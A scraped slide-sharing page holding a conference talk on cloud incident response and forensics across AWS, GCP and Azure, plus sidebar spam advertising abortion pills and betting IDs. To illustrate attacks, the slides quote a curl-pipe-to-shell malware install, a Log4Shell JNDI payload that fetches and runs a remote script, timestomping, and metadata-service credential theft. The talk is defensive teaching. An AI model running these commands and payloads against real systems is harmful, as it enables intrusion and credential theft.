Nirupam Singh on Fan Development, Growth, and the Future of Formula 1
Nirupam Singh on Fan Development, Growth, and the Future of Formula 1Nirupam Singh on Fan Development, Growth, and the Future of Formula 1
Nirupam Singh on Fan Development, Growth, and the Future of Formula 1Neil Horowitz
 
Smart Coach Radar For Volleyball - Pocke Radar
Smart Coach Radar For Volleyball - Pocke RadarSmart Coach Radar For Volleyball - Pocke Radar
Smart Coach Radar For Volleyball - Pocke RadarPocket Radar Inc.
 
Croatia Vs Albania Spain vs Croatia Prediction, Croatia odds-on favorites for...
Croatia Vs Albania Spain vs Croatia Prediction, Croatia odds-on favorites for...Croatia Vs Albania Spain vs Croatia Prediction, Croatia odds-on favorites for...
Croatia Vs Albania Spain vs Croatia Prediction, Croatia odds-on favorites for...World Wide Tickets And Hospitality
 
virat kohli presentation in life jurney
virat kohli presentation in life  jurneyvirat kohli presentation in life  jurney
virat kohli presentation in life jurneyjaydeeplabana77
 
Italy Vs Albania Italy squad for Euro Cup 2024 Who should be in the starting ...
Italy Vs Albania Italy squad for Euro Cup 2024 Who should be in the starting ...Italy Vs Albania Italy squad for Euro Cup 2024 Who should be in the starting ...
Italy Vs Albania Italy squad for Euro Cup 2024 Who should be in the starting ...World Wide Tickets And Hospitality
 
Ozan Tufan Eyes Turkey Return and Portugal Finalizes Euro 2024 Squad.docx
Ozan Tufan Eyes Turkey Return and Portugal Finalizes Euro 2024 Squad.docxOzan Tufan Eyes Turkey Return and Portugal Finalizes Euro 2024 Squad.docx
Ozan Tufan Eyes Turkey Return and Portugal Finalizes Euro 2024 Squad.docxEuro Cup 2024 Tickets
 
NFL SOAP BOX WEEKLY REPORTS- 2024 NFL Schedules
NFL SOAP BOX WEEKLY REPORTS- 2024 NFL SchedulesNFL SOAP BOX WEEKLY REPORTS- 2024 NFL Schedules
NFL SOAP BOX WEEKLY REPORTS- 2024 NFL SchedulesBrian Slack
 
Jual obat aborsi Madiun ( 085657271886 ) Cytote pil telat bulan penggugur kan...
Jual obat aborsi Madiun ( 085657271886 ) Cytote pil telat bulan penggugur kan...Jual obat aborsi Madiun ( 085657271886 ) Cytote pil telat bulan penggugur kan...
Jual obat aborsi Madiun ( 085657271886 ) Cytote pil telat bulan penggugur kan...ZurliaSoop
 
Belgium Vs Romania First look at Romania UEFA at the start of EURO 2024.docx
Belgium Vs Romania First look at Romania UEFA at the start of EURO 2024.docxBelgium Vs Romania First look at Romania UEFA at the start of EURO 2024.docx
Belgium Vs Romania First look at Romania UEFA at the start of EURO 2024.docxWorld Wide Tickets And Hospitality
 
Top 10 French Footballers for Euro Cup 2024.docx
Top 10 French Footballers for Euro Cup 2024.docxTop 10 French Footballers for Euro Cup 2024.docx
Top 10 French Footballers for Euro Cup 2024.docxEuro Cup 2024 Tickets
 
TAM Sports-IPL 17 Advertising Report- M01 - M55.xlsx - IPL 17 FCT (Commercial...
TAM Sports-IPL 17 Advertising Report- M01 - M55.xlsx - IPL 17 FCT (Commercial...TAM Sports-IPL 17 Advertising Report- M01 - M55.xlsx - IPL 17 FCT (Commercial...
TAM Sports-IPL 17 Advertising Report- M01 - M55.xlsx - IPL 17 FCT (Commercial...Social Samosa
 

Último (19)

Romania vs Ukraine Euro 2024 Prediction Who will get off to a great start in ...
Romania vs Ukraine Euro 2024 Prediction Who will get off to a great start in ...Romania vs Ukraine Euro 2024 Prediction Who will get off to a great start in ...
Romania vs Ukraine Euro 2024 Prediction Who will get off to a great start in ...
 
Techniques for those who create fantasy sports Developers
Techniques for those who create fantasy sports DevelopersTechniques for those who create fantasy sports Developers
Techniques for those who create fantasy sports Developers
 
JORNADA 7 LIGA MURO 2024BASQUETBOL12.pdf
JORNADA 7 LIGA MURO 2024BASQUETBOL12.pdfJORNADA 7 LIGA MURO 2024BASQUETBOL12.pdf
JORNADA 7 LIGA MURO 2024BASQUETBOL12.pdf
 
IPL Betting ID: The best cricket ID provider | The best beting ID
IPL Betting ID: The best cricket ID provider | The best beting IDIPL Betting ID: The best cricket ID provider | The best beting ID
IPL Betting ID: The best cricket ID provider | The best beting ID
 
Albania Vs Spain Albania and Serbia in the race to host EURO 2027 AFF formali...
Albania Vs Spain Albania and Serbia in the race to host EURO 2027 AFF formali...Albania Vs Spain Albania and Serbia in the race to host EURO 2027 AFF formali...
Albania Vs Spain Albania and Serbia in the race to host EURO 2027 AFF formali...
 
2024 IFFL DRAFT LOTTERY REVIEW-5.12.2024
2024 IFFL DRAFT LOTTERY REVIEW-5.12.20242024 IFFL DRAFT LOTTERY REVIEW-5.12.2024
2024 IFFL DRAFT LOTTERY REVIEW-5.12.2024
 
Silverexchange ID: To play on the Silver Exchange, Get ID from Virat777
Silverexchange ID: To play on the Silver Exchange, Get ID from Virat777Silverexchange ID: To play on the Silver Exchange, Get ID from Virat777
Silverexchange ID: To play on the Silver Exchange, Get ID from Virat777
 
Nirupam Singh on Fan Development, Growth, and the Future of Formula 1
Nirupam Singh on Fan Development, Growth, and the Future of Formula 1Nirupam Singh on Fan Development, Growth, and the Future of Formula 1
Nirupam Singh on Fan Development, Growth, and the Future of Formula 1
 
Smart Coach Radar For Volleyball - Pocke Radar
Smart Coach Radar For Volleyball - Pocke RadarSmart Coach Radar For Volleyball - Pocke Radar
Smart Coach Radar For Volleyball - Pocke Radar
 
Croatia Vs Albania Spain vs Croatia Prediction, Croatia odds-on favorites for...
Croatia Vs Albania Spain vs Croatia Prediction, Croatia odds-on favorites for...Croatia Vs Albania Spain vs Croatia Prediction, Croatia odds-on favorites for...
Croatia Vs Albania Spain vs Croatia Prediction, Croatia odds-on favorites for...
 
virat kohli presentation in life jurney
virat kohli presentation in life  jurneyvirat kohli presentation in life  jurney
virat kohli presentation in life jurney
 
Italy Vs Albania Italy squad for Euro Cup 2024 Who should be in the starting ...
Italy Vs Albania Italy squad for Euro Cup 2024 Who should be in the starting ...Italy Vs Albania Italy squad for Euro Cup 2024 Who should be in the starting ...
Italy Vs Albania Italy squad for Euro Cup 2024 Who should be in the starting ...
 
Austria Vs France Euro Cup predictions and tips.docx
Austria Vs France Euro Cup predictions and tips.docxAustria Vs France Euro Cup predictions and tips.docx
Austria Vs France Euro Cup predictions and tips.docx
 
Ozan Tufan Eyes Turkey Return and Portugal Finalizes Euro 2024 Squad.docx
Ozan Tufan Eyes Turkey Return and Portugal Finalizes Euro 2024 Squad.docxOzan Tufan Eyes Turkey Return and Portugal Finalizes Euro 2024 Squad.docx
Ozan Tufan Eyes Turkey Return and Portugal Finalizes Euro 2024 Squad.docx
 
NFL SOAP BOX WEEKLY REPORTS- 2024 NFL Schedules
NFL SOAP BOX WEEKLY REPORTS- 2024 NFL SchedulesNFL SOAP BOX WEEKLY REPORTS- 2024 NFL Schedules
NFL SOAP BOX WEEKLY REPORTS- 2024 NFL Schedules
 
Jual obat aborsi Madiun ( 085657271886 ) Cytote pil telat bulan penggugur kan...
Jual obat aborsi Madiun ( 085657271886 ) Cytote pil telat bulan penggugur kan...Jual obat aborsi Madiun ( 085657271886 ) Cytote pil telat bulan penggugur kan...
Jual obat aborsi Madiun ( 085657271886 ) Cytote pil telat bulan penggugur kan...
 
Belgium Vs Romania First look at Romania UEFA at the start of EURO 2024.docx
Belgium Vs Romania First look at Romania UEFA at the start of EURO 2024.docxBelgium Vs Romania First look at Romania UEFA at the start of EURO 2024.docx
Belgium Vs Romania First look at Romania UEFA at the start of EURO 2024.docx
 
Top 10 French Footballers for Euro Cup 2024.docx
Top 10 French Footballers for Euro Cup 2024.docxTop 10 French Footballers for Euro Cup 2024.docx
Top 10 French Footballers for Euro Cup 2024.docx
 
TAM Sports-IPL 17 Advertising Report- M01 - M55.xlsx - IPL 17 FCT (Commercial...
TAM Sports-IPL 17 Advertising Report- M01 - M55.xlsx - IPL 17 FCT (Commercial...TAM Sports-IPL 17 Advertising Report- M01 - M55.xlsx - IPL 17 FCT (Commercial...
TAM Sports-IPL 17 Advertising Report- M01 - M55.xlsx - IPL 17 FCT (Commercial...
 

A New Perspective on Resource-Level Cloud Forensics

  • 1. A New Perspective on Resource-Level Cloud Forensics
  • 2. today we’ll learn by example how to combine analysis of both logs and resources to respond to incidents in the cloud
  • 3. in the cloud… can you identify root cause with just logs? it depends…
  • 4. Cloud Forensics = Log Analysis? Cado Security | 4
  • 5. Cloud (Control Plane) Forensics Host Forensics Log Forensics Network Forensics Cloud Forensics if it means “forensics of a cloud estate” Cloud Forensics if it means “forensics of cloud provider control plane”
  • 6. cloud forensics 1. The application of scientific knowledge to legal problems in the cloud * sorry for defining forensics in a room full of forensic experts
  • 7. Cloud Incident Domains According to AWS See “Cloud Security Incident Domains” in the AWS Security Incident Response Guide Service Domain Infrastructure domain Application Domain Identity & Access Management (IAM) Billing Virtual Machines Containers Application Code Deployed Software
  • 8. Control Plane Data Plane Create/Delete/Edit Resources Identity & Access Management (IAM) Resources Themselves Auth Data Plane Control Plan & Data Plane
  • 9. ● Last year’s SANS DFIR keynote by Josh Lemon & Megan Roddie: “DFIR Evidence Collection and Preservation for the Cloud” ● Key take-away (for me): Enable all the logs Previously on Cloud Forensics at SANS….
  • 10. There are Undocumented Logs & Unavailable Logs “What standards should forensics professionals hold ourselves to, for disclosure of ‘0-day forensic artifacts’? What is the responsibility of service providers such as Microsoft, to support forensic investigations? It’s time to establish standards for audit logging and preservation in the cloud”
  • 11. And there are Expensive Logs…
  • 12. definitions are boring… so here is an example Cado Security | 12
  • 13. Initial Access with StackSet Phishing Cado Security | 13 Stackset Phishing From: AWS Subject: Deploy this Stackset EvilRoleInYourAccount: Effect: Allow Principal: arn:aws:iam::AttackersAccount Action: 'sts:AssumeRole' ...AmazonSSMFullAccess… ● Phishing convinces admin to deploy StackSet ● StackSet creates enables attackers AWS account to run commands against EC2s in victim account via SSM ● See “Lesser Known Techniques for Attacking AWS Environments” by Scott Piper
  • 14. Cloudtrail Logs Enabled by default 90 days of data free Cado Security | 14 aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateRole "EventName": "CreateRole", "EventTime": "2023-07-29T14:09:40+01:00" , "EventSource": "iam.amazonaws.com" , "Resources": [ { "ResourceType" : "AWS::IAM::Role" , "ResourceName" : "EvilRoleInYourAccount" }
  • 15. Azure Google Cloud Azure Monitor / Audit Logs Audit Logs: System & Admin Azure and GCP Equivalent Data See last years Keynote for more
  • 16. Lateral Movement with SSM Run Command Stackset Phishing From: AWS Subject: Deploy this Stackset SSM Run Command Attacker executes SSM commands using their trusted role in victims account This means they can run commands against any EC2 with SSM enabled See “cross account ssm start session” on Stackoverflow aws ec2 describe-instances --region aws ssm start-session --target i-001 whoami
  • 17. SSM logged in CloudWatch and S3 Logs execution to CloudWatch or S3 Includes detailed Session Data Disabled by default EC2 Instance needs IAM permissions From “How to search through your AWS Systems Manager Session Manager console logs” by AWS
  • 18. SSM “Official” Logs Logs live under /var/log/amazon/ssm/ Can forward with CloudWatch Agent/SIEM Or pull from disk More for diagnostics Generally not that useful for security 2021-06-08 11:15:14 INFO [ssm-agent-worker] [MessagingDeliveryService] received plugin: aws:runShellScript result from Processor 2021-06-08 11:15:14 INFO [ssm-agent-worker] [MessagingDeliveryService] Sending reply { "additionalInfo": { "agent": { amazon-ssm-agent.log
  • 19. Undocumented SSM Logs sh-4.2$ [ec2-user@ip-10-0-2-54 ~]$ ls key [ec2-user@ip-10-0-2-54 ~]$ aws s3 cp staff.txt s3://eu-west-1-prod-data --region eu-west-1 Completed 802 Bytes/802 Bytes (9.4 KiB/s) with 1 file(s) remaining [ec2-user@ip-10-0-2-54 ~]$ logout sh-4.2$ exit The best data is in an undocumented log called ipcTempFile.log Contains full session data, both directions Credit to Al & Korstiaan for the discovery Linux: /var/lib/amazon/ssm/<EC2-INSTANCE-ID>/ses sion/orchestration/<USER>-<RANDOM ID>/ Windows: C:ProgramDataAmazonSSMInstanceData< EC2 INSTANCE ID>sessionorchestration ipcTempFile.log See “IPC YOU: How the Cado Platform Reveals Attacker Command Outputs” by Cado Security
  • 20. What is logged? ● Data Access Log - not enabled by default ● Catches invocations of gcloud compute ssh ● No distinction between remote command invocation and generic SSH login events ● No difference even when Gcloud Monitoring agent enabled ● Investigator “blind” without auditd enabled GCP Equivalent: gcloud compute
  • 21. Methods of interacting with Linux Compute VMs: ● gcloud compute ssh –zone ZONE INSTANCE – ‘<run command here>’ ● Won’t log to histfile ● No ipcTempfile.log equivalent (sadly!) ● Gcloud Monitoring agent disabled by default GCP Equivalent: Gcloud Compute Interaction
  • 23. Azure Equivalent : Run Command From “Azure Run Command for Dummies” from Mandiant az vm run-command invoke --command-id RunPowerShellScript --name winvm -g resourcegroup --scripts @myscript.ps1 --parameters "arg1=firstarg"
  • 24. No public references I could find on “cloud agent forensic artifacts” Other than SSM by Cado Security and on Run Command by Mandiant “It’s time to establish standards for audit logging and preservation in the cloud”
  • 25. Attack: Persistence: Install Malware on EC2 Install Malware on EC2 Stackset Phishing From: AWS Subject: Deploy this Stackset SSM Run Command Now we’re in the realm of classic host forensics But some things are still different in the cloud… curl https://pastebin.com/raw/1ahZ | sh
  • 26. Anti-Forensics in cloud resources is surprisingly common… But it’s not this: The Shadow Brokers: eventlogedit Can you trust resource-level data?
  • 27. It’s this 27 CoinStomp: touch -t20230101 /usr/bin/modusr
  • 28. WatchDog - Rudimentary Process Hider 28 ● Recent campaign has some interesting detection evasion ● Similar timestomping technique ● The most UNIX-y process hider ever!
  • 29. WatchDog - Hidden-ish directory 29
  • 30. WatchDog - Renaming data transfer utilities 30
  • 31. Coinstomp - Timestamp Manipulation 31
  • 32. CoinStomp - Timestamp Manipulation 32
  • 33. sometimes you can’t find root cause… without the files Cado Security | 33
  • 34. Getting an EC2 Disk/Volume Typical Process: ● Snapshot Volume ● Turn Snapshot into new Volume ● Attach Volume to an EC2 ● Upload DD to S3 ● Why is it so hard to get a disk image? ● https://github.com/aws-solutions/automated-forensic-orchestrator-for-amazon-ec2 Issues: - Performance - Fast Snapshot Restore - Marketplace Codes Alternative Options: - Block API - https://github.com/awslabs/coldsnap - Transfer Disk, in Parallel with Processing
  • 35. Alternatives to Full Disk in AWS ● Acquire triage files using SSM See “Automated Triage Collection at Scale in the AWS Cloud” by Ryan Tick ● EDR - If installed ● GuardDuty can now anti-virus scan volumes for you
  • 36. Azure Equivalent: Getting a Disk ● Easy .VHD download link :) ● But network is flaky :( ● Wrap the API call with *lots* of retries ● Particularly bad in certain regions ● Noticeably worse for a period in May/June - DDoS?
  • 37. GCP Equivalent: Getting a Disk ● Create Image ● Export Image to Cloud Storage (VMDK, VHDX, VPC, QCOW2) ● Download from Cloud Storage ● Fast Reliable Downloads
  • 38. cloud* kubernetes* ransomware* * buzzword bingo Cado Security | 38
  • 39. Log4Shell Exploit of App in Pod for Initial Access Exploit App in EKS POST / HTTP/1.1 User-Agent: ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBo…==} Host: 89.188.76.250 Decoded: wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh See “Cloud lateral movement: Breaking in through a vulnerable container” by SysDig “Log4Shell Hell: anatomy of an exploit outbreak” by Sophos
  • 40. Lateral Movement: Steal Keys from Container MetaData Service Exploit App in EKS Hit Metadata URL ● 169.254.169.254 ● /iam/security/credentials ● 169.254.170.2 - EKS! See “TeamTNT Script Employed to Grab AWS Credentials” by Cado Security
  • 41. AWS Cloud VPC EKS on EC2 Web Server in Container ? Optional Logs in S3 * kube-apiserver- kube-apiserver-audit- authenticator- kube-controller-manager- kube-scheduler- Inaccessible Logs * Logs in Other Services * Traffic mirroring * O/S Logs * Docker File System * (Forensic Artifacts, Malware…) Docker Logs * Volatile Data* O/S Logs * Native File System* (Forensic Artifacts, Malware…) Volatile Data* * Logs * Not Logs Response: Data Sources for a compromise in EKS on EC2
  • 42. Getting the Data The web server logs the malicious script and other file system activity to work out what happened here EKS on EC2? ● Grab the data the whole volume from the node. Typically overlay2 versioned filesystem. Can also grab files from inside the container using Kubernetes API ● Also grab memory from inside the container too as CAP_SYS_PTRACE is typically enabled See “How we Sped up Acquiring Forensic Data From Managed Kubernetes Services by 97% by Rebuilding the SDK” by Cado Security for sample code
  • 43. As you can see, there is a lot here… For more, go back in time 1 hour and see: “EKS Incident Response and Forensic Analysis” by Jonathon Poling
  • 44. Ransom S3 Bucket S3 Ransomware Example Exploit App in EKS Hit Metadata URL
  • 45. S3 Ransomware See “The anatomy of ransomware event targeting data residing in Amazon S3” Most Common Causes: 1. IAM Access Key Accidental Disclosure 2. Vulnerability on EC2 with IAM Profile and IMDSv1 → STS Token
  • 46. Was it data-destruction - or data theft and extortion? ● If you previously enabled S3 CloudWatch Metrics: BytesDownloaded ● If you previously enabled S3 Object Level Logging in CloudTrail: ● Cost Explorer has region-DataTransfer-Out-Bytes enabled by default so you can be billed ● Look for bucket-level events enabled by default in CloudTrail e.g.s3:ListBuckets, s3:GetBucketLocation ● Look for IAM events enabled by default in CloudTrail relating to granting S3 permissions ^ All “cloud level” logs
  • 47. Response ● S3 Object Lock ● S3 Versioning ● Backups! ● GuardDuty ● Stolen IAM Access?
  • 48. In Summary… ● Need to look at both resources and logs ● Make sure logs are turned on ● Make sure you can access resources
  • 49. Make sure your cloud logs are turned on ● “Logging in the Cloud: From Zero to (Incident Response) Hero” by Jonathon Poling [AWS, GCP, Azure] ● https://github.com/prowler-cloud/prowler [AWS, GCP, Azure] ● Spreadsheet of where each services logs: https://bit.ly/3XidVm3 [AWS] ● https://github.com/awslabs/assisted-log-enabler-for-aws [AWS] ● FOR509
  • 50. Make sure you can access resource-level data ● Set up permissions, roles and configurations in advance ○ e.g. Can you ECS Exec to your ECS Containers? ● Practice and test your access in advance, continually ○ It will degrade! ● Forward logs from resources to CloudWatch or SIEM. But $$$ ● EDR can help, if installed ● FOR509 “Enterprise Cloud Forensics and Incident Response” ○ && FOR577 Linux Threat Hunting & Incident Response (new)
  • 51. For more examples of real world cloud attacks, see: ● “Cloud Security Atlas” by DataDog ● https://github.com/ramimac/aws-customer-security-incidents (related)